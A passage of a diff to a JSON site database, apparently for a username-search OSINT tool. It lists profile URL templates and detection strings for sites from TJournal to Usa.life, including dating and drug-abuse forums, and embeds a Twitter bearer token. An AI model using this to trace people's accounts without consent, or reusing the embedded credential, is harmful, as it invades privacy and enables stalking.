\u043d\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u043b\u0438 :(" + ], + "alexaRank": 10279, + "urlMain": "https://tjournal.ru", + "url": "https://tjournal.ru/search/v2/subsite/relevant?query={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tldrlegal.com": { + "checkType": "message", + "regexCheck": "^[a-zA-Z0-9]{3,20}$", + "absenceStrs": [ + "Page Not Found - TLDRLegal" + ], + "presenseStrs": [ + "s Profile - TLDRLegal" + ], + "url": "https://tldrlegal.com/users/{username}/", + "usernameClaimed": "kevin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TRASHBOX.RU": { + "tags": [ + "az", + "ru" + ], + "regexCheck": "^[A-Za-z0-9_-]{3,16}$", + "checkType": "message", + "absenceStrs": [ + "404 \u2014 Not found" + ], + "urlMain": "https://trashbox.ru/", + "url": "https://trashbox.ru/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "never-never-ever", + "alexaRank": 16644 + }, + "TVTropes": { + "tags": [ + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 11858, + "urlMain": "https://tvtropes.org", + "url": "https://tvtropes.org/pmwiki/pmwiki.php/Tropers/{username}", + "usernameClaimed": "Chabal2", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tabun": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 917529, + "urlMain": "https://tabun.everypony.ru", + "url": "https://tabun.everypony.ru/profile/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TalkDrugabuse": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 217212, + "urlMain": "https://talk.drugabuse.com", + "url": "https://talk.drugabuse.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Talks.by": { + "disabled": true, + "tags": [ + "by", + "forum" + ], + "engine": "vBulletin", + "alexaRank": 17739, + "urlMain": "https://talks.by", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Talkstats": { + "tags": [ + "au" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 186559, + "urlMain": "https://www.talkstats.com", + "url": "https://www.talkstats.com/members/?username={username}", + "usernameClaimed": "johnlee", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TamTam": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "data-tsid=\"avatar\"" + ], + "absenceStrs": [ + "Pv3WuoqzAb05NxqHCgZ29Z2jmQ" + ], + "alexaRank": 142765, + "urlMain": "https://tamtam.chat/", + "url": "https://tamtam.chat/{username}", + "errorUrl": "https://tamtam.chat/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tanks": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "gaming", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 49, + "urlMain": "https://tanks.mail.ru", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Taplink": { + "disabled": true, + "tags": [ + "links", + "ru" + ], + "checkType": "status_code", + "urlMain": "https://taplink.cc/", + "url": "https://taplink.cc/{username}", + "usernameClaimed": "taplink.ru", + "usernameUnclaimed": "noonewouldeverusethis77777", + "alexaRank": 4798 + }, + "TechPowerUp": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 4382, + "urlMain": "https://www.techpowerup.com", + "url": "https://www.techpowerup.com/forums/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Techdirt": { + "disabled": true, + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 17796, + "urlMain": "https://www.techdirt.com/", + "url": "https://www.techdirt.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Techrepublic": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 3127, + "urlMain": "https://www.techrepublic.com", + "url": "https://www.techrepublic.com/members/profile/{username}/", + "usernameClaimed": "Kentertainments75", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Telegram": { + "tags": [ + "messaging" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_]{4,}$", + "checkType": "message", + "absenceStrs": [ + "<meta name=\"robots\" content=\"noindex, nofollow\">", + "<meta property=\"twitter:title\" content=\"Telegram: Contact" + ], + "alexaRank": 154, + "urlMain": "https://t.me/", + "url": "https://t.me/{username}", + "usernameClaimed": "BotFather", + "usernameUnclaimed": "noonewouldevereverusethis9" + }, + "Teletype": { + "tags": [ + "in", + "writing" + ], + "checkType": "status_code", + "alexaRank": 12440, + "urlMain": "https://teletype.in", + "url": "https://teletype.in/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tellonym.me": { + "tags": [ + "de", + "fr", + "sa", + "us" + ], + "checkType": "status_code", + "alexaRank": 49356, + "urlMain": "https://tellonym.me/", + "url": "https://tellonym.me/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Terminator": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://terminator-scc.net.ru", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Terminatorium": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + ], + "alexaRank": 110740, + "urlMain": "https://terminatorium.borda.ru/", + "url": "https://terminatorium.borda.ru/?32-{username}", + "usernameClaimed": "tengu", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Texasguntalk": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 810331, + "urlMain": "https://www.texasguntalk.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "The AnswerBank": { + "tags": [ + "gb", + "q&a" + ], + "checkType": "message", + "absenceStrs": [ + "Welcome to the AnswerBank" + ], + "alexaRank": 129670, + "urlMain": "https://www.theanswerbank.co.uk", + "url": "https://www.theanswerbank.co.uk/members/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TheFastlaneForum": { + "disabled": true, + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 40275, + "urlMain": "https://www.thefastlaneforum.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TheGuardian": { + "disabled": true, + "tags": [ + "news", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "<title>public profile | Identity | The Guardian" + ], + "alexaRank": 159, + "urlMain": "https://theguardian.com", + "url": "https://profile.theguardian.com/user/{username}", + "usernameClaimed": "frogprincess", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TheOdysseyOnline": { + "tags": [ + "blog" + ], + "checkType": "status_code", + "alexaRank": 16462, + "urlMain": "https://www.theodysseyonline.com", + "url": "https://www.theodysseyonline.com/user/@{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TheSimsResource": { + "tags": [ + "gaming" + ], + "checkType": "response_url", + "alexaRank": 12278, + "urlMain": "https://www.thesimsresource.com/", + "url": "https://www.thesimsresource.com/members/{username}/", + "usernameClaimed": "DanSimsFantasy", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TheStudentRoom": { + "tags": [ + "forum", + "gb" + ], + "engine": "vBulletin", + "alexaRank": 8267, + "urlMain": "https://www.thestudentroom.co.uk", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TheVerge": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 678, + "urlMain": "https://www.theverge.com", + "url": "https://www.theverge.com/users/{username}", + "usernameClaimed": "Patlex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TheVillage.ru": { + "disabled": true, + "tags": [ + "ru" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "The Village: \u043e\u0448\u0438\u0431\u043a\u0430 404, \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430" + ], + "alexaRank": 21538, + "urlMain": "https://www.the-village.ru/", + "url": "https://www.the-village.ru/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Thebigboss": { + "tags": [ + "tr" + ], + "checkType": "status_code", + "alexaRank": 678092, + "urlMain": "http://thebigboss.org", + "url": "http://thebigboss.org/author/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Thebuddyforum": { + "tags": [ + "forum", + "gaming" + ], + "engine": "XenForo", + "alexaRank": 831319, + "urlMain": "https://www.thebuddyforum.com", + "usernameClaimed": "tony", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Thechive": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Posts By" + ], + "absenceStrs": [ + "Find something else." + ], + "alexaRank": 3293, + "urlMain": "https://thechive.com/", + "url": "https://thechive.com/author/{username}", + "usernameClaimed": "bhgilliland", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Thedaftclub": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "alexaRank": 746415, + "urlMain": "https://www.thedaftclub.com", + "url": "https://www.thedaftclub.com/forum/member.php/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Thefirearmsforum": { + "tags": [ + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found. Please enter a member's entire name." + ], + "urlMain": "https://www.thefirearmsforum.com", + "url": "https://www.thefirearmsforum.com/members/?username={username}", + "usernameClaimed": "willieb", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 668602 + }, + "Thelion": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "We are sorry but the following error has occurred." + ], + "alexaRank": 149542, + "urlMain": "http://www.thelion.com", + "url": "http://www.thelion.com/bin/profile.cgi?c=s&ru_name={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ThemeForest": { + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 515, + "urlMain": "https://themeforest.net", + "url": "https://themeforest.net/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Thephysicsforum": { + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "alexaRank": 5348693, + "urlMain": "https://www.thephysicsforum.com", + "url": "https://www.thephysicsforum.com/members/{username}.html", + "usernameClaimed": "andrewc", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "TikTok": { + "tags": [ + "video" + ], + "headers": { + "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" + }, + "errors": { + "tiktok-verify-page": "Captcha detected" + }, + "checkType": "message", + "presenseStrs": [ + "\"nickname\":" + ], + "absenceStrs": [ + "serverCode\":404" + ], + "alexaRank": 98, + "urlMain": "https://www.tiktok.com/", + "url": "https://www.tiktok.com/@{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis1" + }, + "TikTok Online Viewer": { + "disabled": true, + "tags": [ + "us" + ], + "errors": { + "Website unavailable": "Site error", + "is currently offline": "Site error" + }, + "checkType": "message", + "absenceStrs": [ + "Not Found - TTonlineviewer" + ], + "source": "TikTok", + "alexaRank": 5826276, + "urlMain": "https://ttonlineviewer.com", + "url": "https://ttonlineviewer.com/user/{username}", + "usernameClaimed": "rednec", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tinder": { + "tags": [ + "dating", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "twitter:title\" content=\"Tinder |", + "Tinder |", + "<title data-react-helmet=\"true\">" + ], + "alexaRank": 960, + "urlMain": "https://tinder.com/", + "url": "https://www.tinder.com/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tkgr": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "http://tkgr.ru/", + "url": "http://tkgr.ru/forum/member/{username}", + "usernameClaimed": "siber", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tl": { + "tags": [ + "de", + "dk", + "us" + ], + "checkType": "status_code", + "alexaRank": 49023, + "urlMain": "https://tl.net", + "url": "https://tl.net/forum/profile.php?user={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TomsHardware": { + "tags": [ + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found.", + "The requested page could not be found." + ], + "alexaRank": 2037, + "urlMain": "https://forums.tomshardware.com/", + "url": "https://forums.tomshardware.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tomtom": { + "disabled": true, + "tags": [ + "de", + "in", + "it", + "nl", + "no", + "us" + ], + "checkType": "status_code", + "alexaRank": 23370, + "urlMain": "https://discussions.tomtom.com/", + "url": "https://discussions.tomtom.com/en/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Torrent-soft": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 57590, + "urlMain": "https://torrent-soft.net", + "url": "https://torrent-soft.net/user/{username}/", + "usernameClaimed": "Baguvix", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Toster": { + "tags": [ + "coding", + "ru" + ], + "checkType": "status_code", + "alexaRank": 1265, + "urlMain": "https://qna.habr.com/", + "url": "https://qna.habr.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TotalStavki": { + "disabled": true, + "ignore403": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 4592979, + "urlMain": "https://totalstavki.ru", + "url": "https://totalstavki.ru/forum/members/?username={username}", + "usernameClaimed": "turbo", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Totseans": { + "checkType": "status_code", + "alexaRank": 7214531, + "urlMain": "http://www.totseans.com/bbs/profile/Vizier", + "url": "http://www.totseans.com/bbs/profile/{username}", + "usernameClaimed": "Vizier", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "Touristlink": { + "tags": [ + "in" + ], + "checkType": "message", + "absenceStrs": [ + "Members across the World" + ], + "alexaRank": 122492, + "urlMain": "https://www.touristlink.com", + "url": "https://www.touristlink.com/user/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Anilist": { + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "/img/404/" + ], + "presenseStrs": [ + "/user/uehkon/animelist" + ], + "url": "https://anilist.co/user/{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tproger": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "404" + ], + "alexaRank": 36445, + "urlMain": "https://tproger.ru", + "url": "https://tproger.ru/author/{username}/", + "usernameClaimed": "NickPrice", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "TrackmaniaLadder": { + "disabled": true, + "tags": [ + "au" + ], + "checkType": "message", + "absenceStrs": [ + "player unknown or invalid" + ], + "urlMain": "http://en.tm-ladder.com/index.php", + "url": "http://en.tm-ladder.com/{username}_rech.php", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis", + "alexaRank": 7229230 + }, + "TradingView": { + "tags": [ + "trading", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "tv-profile" + ], + "absenceStrs": [ + "Page not found \u2014 TradingView" + ], + "alexaRank": 61, + "urlMain": "https://www.tradingview.com/", + "url": "https://www.tradingview.com/u/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Trainsim": { + "urlSubpath": "/vbts", + "disabled": true, + "tags": [ + "forum", + "in" + ], + "engine": "vBulletin", + "alexaRank": 81136, + "urlMain": "https://www.trainsim.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Trakt": { + "tags": [ + "de", + "fr" + ], + "checkType": "status_code", + "alexaRank": 7650, + "urlMain": "https://www.trakt.tv/", + "url": "https://www.trakt.tv/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Traktrain": { + "checkType": "status_code", + "url": "https://traktrain.com/{username}", + "usernameClaimed": "traktrain", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Travelblog": { + "tags": [ + "blog", + "travel" + ], + "checkType": "status_code", + "alexaRank": 84207, + "urlMain": "https://www.travelblog.org", + "url": "https://www.travelblog.org/Bloggers/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TravellersPoint": { + "disabled": true, + "tags": [ + "in", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Wooops. Sorry!" + ], + "alexaRank": 68105, + "urlMain": "https://www.travellerspoint.com", + "url": "https://www.travellerspoint.com/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Travis": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "Discourse", + "alexaRank": 471134, + "urlMain": "https://travis-ci.community", + "usernameClaimed": "montana", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Trello": { + "tags": [ + "tasks" + ], + "urlProbe": "https://trello.com/1/Members/{username}", + "checkType": "message", + "absenceStrs": [ + "model not found" + ], + "alexaRank": 163, + "urlMain": "https://trello.com/", + "url": "https://trello.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Trinixy": { + "tags": [ + "news", + "ru" + ], + "checkType": "status_code", + "alexaRank": 38880, + "urlMain": "https://trinixy.ru", + "url": "https://trinixy.ru/user/{username}/", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TripAdvisor": { + "tags": [ + "travel" + ], + "checkType": "message", + "absenceStrs": [ + "This page is on vacation\u2026" + ], + "headers": { + "Accept-Language": "en-US,en;q=0.5" + }, + "alexaRank": 348, + "urlMain": "https://tripadvisor.com/", + "url": "https://tripadvisor.com/members/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tripline": { + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 104988, + "urlMain": "https://www.tripline.net", + "url": "https://www.tripline.net/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tripster": { + "tags": [ + "de", + "ru" + ], + "checkType": "status_code", + "alexaRank": 39599, + "urlMain": "https://tripster.ru", + "url": "https://tripster.ru/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Trisquel": { + "tags": [ + "eu", + "in" + ], + "checkType": "status_code", + "alexaRank": 548123, + "urlMain": "https://trisquel.info", + "url": "https://trisquel.info/it/users/{username}", + "usernameClaimed": "redfox", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TruckersMP.com": { + "tags": [ + "de", + "forum", + "tr" + ], + "checkType": "message", + "absenceStrs": [ + "There were no results for your search.", + "Forums currently down for maintenance. No ETA on return." + ], + "alexaRank": 32270, + "urlMain": "https://forum.truckersmp.com", + "url": "https://forum.truckersmp.com/index.php?/search/&q={username}&type=core_members", + "usernameClaimed": "ireacher", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TruckersMP.ru": { + "disabled": true, + "tags": [ + "gaming", + "ru" + ], + "checkType": "status_code", + "urlMain": "https://truckersmp.ru", + "url": "https://truckersmp.ru/{username}", + "usernameClaimed": "RamanBY", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TrueAchievements": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 19227, + "urlMain": "https://www.trueachievements.com", + "url": "https://www.trueachievements.com/gamer/{username}", + "usernameClaimed": "metallicafan459", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Truelancer": { + "tags": [ + "in" + ], + "checkType": "message", + "presenseStrs": [ + "https://schema.org/BreadcrumbList" + ], + "absenceStrs": [ + "This page could not be found." + ], + "alexaRank": 9186, + "urlMain": "https://www.truelancer.com", + "url": "https://www.truelancer.com/freelancer/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Truesteamachievements": { + "tags": [ + "az", + "gb", + "us" + ], + "checkType": "status_code", + "alexaRank": 110281, + "urlMain": "https://truesteamachievements.com", + "url": "https://truesteamachievements.com/gamer/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Truthbook": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "us" + ], + "engine": "phpBB", + "alexaRank": 551363, + "urlMain": "https://truthbook.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "TryHackMe": { + "tags": [ + "hacking", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Found. Redirecting to /404" + ], + "presenseStrs": [ + "heatmap-user-activity" + ], + "alexaRank": 23474, + "urlMain": "https://tryhackme.com/", + "url": "https://tryhackme.com/p/{username}", + "usernameClaimed": "ashu", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tumblr": { + "tags": [ + "blog" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "Not found.", + ":404,", + "userAgent", + ",displayStatus:" + ], + "alexaRank": 112, + "urlMain": "https://www.tumblr.com", + "url": "https://www.tumblr.com/{username}", + "usernameClaimed": "soxoj", + "usernameUnclaimed": "zdbimdoqyt", + "presenseStrs": [ + "profile", + " title=" + ] + }, + "Tunefind": { + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "presenseStrs": [ + "Achievements" + ], + "url": "https://www.tunefind.com/user/profile/{username}", + "usernameClaimed": "baywolfmusic", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Tv-games": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 1167240, + "urlMain": "http://tv-games.ru/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Twitcasting": { + "checkType": "message", + "absenceStrs": [ + "Not Found" + ], + "presenseStrs": [ + "Live History" + ], + "url": "https://twitcasting.tv/{username}", + "usernameClaimed": "2_t0_", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Twitch": { + "tags": [ + "streaming", + "us" + ], + "urlProbe": "https://twitchtracker.com/{username}", + "checkType": "status_code", + "alexaRank": 34, + "urlMain": "https://www.twitch.tv/", + "url": "https://twitchtracker.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Nitter": { + "tags": [ + "messaging" + ], + "headers": { + "Accept-Language": "en-US,en;q=0.5" + }, + "regexCheck": "^[a-zA-Z0-9_]{1,15}$", + "checkType": "message", + "absenceStrs": [ + "Error | nitter", + "The requested URL was not found on this server.", + "
    " + ], + "presenseStrs": [ + "
    " + ], + "mirrors": [ + "https://nitter.42l.fr/", + "https://nitter.1d4.us/", + "https://nitter.kavin.rocks/" + ], + "source": "Twitter", + "alexaRank": 48, + "urlMain": "https://nitter.net/", + "url": "{urlMain}{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewould123", + "disabled": true + }, + "Twitter": { + "tags": [ + "messaging" + ], + "headers": { + "sec-ch-ua": "Google Chrome\";v=\"87\", \" Not;A Brand\";v=\"99\", \"Chromium\";v=\"87\"", + "authorization": "Bearer AAAAAAAAAAAAAAAAAAAAANRILgAAAAAAnNwIzUejRCOuH5E6I8xnZz4puTs%3D1Zv7ttfk8LF81IUq16cHjhLTvJu4FA33AGWWjCpTnA", + "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", + "x-guest-token": "1411741418192883712" + }, + "errors": { + "Bad guest token": "x-guest-token update required" + }, + "regexCheck": "^[a-zA-Z0-9_]{1,15}$", + "activation": { + "method": "twitter", + "marks": [ + "Bad guest token." + ], + "url": "https://api.twitter.com/1.1/guest/activate.json", + "src": "guest_token", + "dst": "x-guest-token" + }, + "urlProbe": "https://twitter.com/i/api/graphql/ZRnOhhXPwue_JGILb9TNug/UserByScreenName?variables=%7B%22screen_name%22%3A%22{username}%22%2C%22withHighlightedLabel%22%3Atrue%7D", + "checkType": "message", + "absenceStrs": [ + " not found" + ], + "alexaRank": 48, + "urlMain": "https://www.twitter.com/", + "url": "https://twitter.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewould123" + }, + "Twpro.jp": { + "checkType": "message", + "absenceStrs": [ + "\u3092\u3054\u78ba\u8a8d\u304f\u3060\u3055\u3044\u3002" + ], + "presenseStrs": [ + "\u304a\u3068\u306a\u308a\u3055\u3093" + ], + "url": "https://twpro.jp/{username}", + "usernameClaimed": "wsise47", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Typeracer": { + "tags": [ + "hobby" + ], + "checkType": "message", + "absenceStrs": [ + "Profile Not Found" + ], + "alexaRank": 7138, + "urlMain": "https://typeracer.com", + "url": "https://data.typeracer.com/pit/profile?user={username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "UMHOOPS": { + "tags": [ + "forum", + "sport", + "us" + ], + "engine": "Discourse", + "alexaRank": 332635, + "urlMain": "https://forum.umhoops.com", + "usernameClaimed": "umhoops", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Uaksu": { + "tags": [ + "forum", + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d" + ], + "alexaRank": 4001287, + "urlMain": "https://uaksu.forum24.ru/", + "url": "https://uaksu.forum24.ru/?32-{username}", + "usernameClaimed": "nikita", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ubisoft": { + "disabled": true, + "tags": [ + "forum", + "gaming", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "alexaRank": 2563, + "urlMain": "https://forums-ru.ubisoft.com/", + "url": "https://forums-ru.ubisoft.com/member.php/?username={username}", + "usernameClaimed": "MrNardred", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Uchportal": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 24339, + "urlMain": "https://www.uchportal.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ucoz": { + "tags": [ + "forum", + "ru" + ], + "engine": "uCoz", + "alexaRank": 554708, + "urlMain": "https://forum.ucoz.ru", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Udemy": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 131, + "urlMain": "https://www.udemy.com", + "url": "https://www.udemy.com/user/{username}/", + "usernameClaimed": "adammortimer", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ultimate-Guitar": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 654, + "urlMain": "https://ultimate-guitar.com/", + "url": "https://ultimate-guitar.com/u/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ultrasdiary.pl": { + "checkType": "message", + "absenceStrs": [ + "UltrasDiary – Pami\u0119tnik Kibica" + ], + "presenseStrs": [ + "Mecze wyjazdowe:" + ], + "url": "https://ultrasdiary.pl/u/{username}/", + "usernameClaimed": "janek", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ulub.pl": { + "checkType": "message", + "absenceStrs": [ + "Strona nie istnieje." + ], + "presenseStrs": [ + "Muzyka (" + ], + "url": "http://ulub.pl/profil/{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Unsplash": { + "tags": [ + "art", + "photo" + ], + "checkType": "status_code", + "alexaRank": 376, + "urlMain": "https://unsplash.com/", + "url": "https://unsplash.com/@{username}", + "usernameClaimed": "jenny", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Untappd": { + "tags": [ + "geosocial", + "networking", + "us" + ], + "checkType": "status_code", + "alexaRank": 24015, + "urlMain": "https://untappd.com", + "url": "https://untappd.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Usa.life": { + "checkType": "message", + "absenceStrs": [ + "Sorry, page not found" + ], + "presenseStrs": [ + "Please log in 